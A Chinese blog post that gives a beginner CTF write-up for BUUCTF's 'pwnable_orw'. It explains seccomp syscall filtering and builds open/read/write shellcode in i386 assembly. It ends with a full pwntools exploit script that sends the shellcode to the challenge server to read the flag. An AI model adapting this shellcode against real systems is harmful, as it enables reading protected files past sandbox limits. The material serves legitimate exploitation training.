pwnable_orw来自BUUCTF

这是一道入门的CTF题目,我们要从这道题中学习如何来编写shellcode。下面我们来分析一下题目:

 

 这是IDA中的位代码。

 

 看见 RWX程序中开启了可读可写可执行。显然是写shellcode然后让程序执行。先然这道题的考点并不是在这。

我们看到了一个函数seccomp。我们来学习了解一下:

 

 我们来了解一下:

【引用】seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

sys_open 系统调用传递的四个寄存器参数即具体实现:

eax = 0x05 系统调用号

ebx = filename 文件名

ecx = flags 置零即可

edx = mode 置零即可

具体实现:

    xor  ecx,ecx;

    push ecx;

    push 0x67616c66;

    push 0x2f77726f;

    push 0x2f656d6f;

    push 0x682f2f2f;

    mov  ebx,esp;

    xor  edx,edx;

    mov  eax,0x5;

    int  0x80

sys_read 系统调用传递的四个寄存器参数即具体实现:

eax = 0x03  系统调用号

ebx = fd 文件指针,就是open的返回值,不需要改变

ecx = buf 缓冲区,指向栈顶位置

edx = count  字节数

具体实现:

    mov ebx,eax;

    mov ecx,esp;

    mov edx,0x30;

    mov eax,0x3;

    int 0x80

sys_write 系统调用传递的四个寄存器参数即具体实现:

eax = 0x04  系统调用号

ebx = fd  文件指针,置为1,打印到屏幕

ecx = buf  缓冲区,指向栈顶

edx = count

具体实现:

    mov eax,0x4;

    mov ebx,0x1;

    mov edx,0x30;

    int 0x80

我们只能通过这几个函数来得到flag,open先打开flag文件,读取内容,输出内容;
seccomp函数中使用了两个prctl函数

第一次调用prctl函数 ————禁止提权

第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit

先记住我也不太了解prctl函数的使用;

from pwn import *
context(os="Linux",arch="i386",log_level="debug")
r=remote('node4.buuoj.cn',27851)
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5; int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100; int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
r.sendlineafter("shellcode:",shellcode)
r.interactive()

posted @ 2021-09-26 17:42  Mua_Uncle_W  阅读(90)  评论(0)    收藏  举报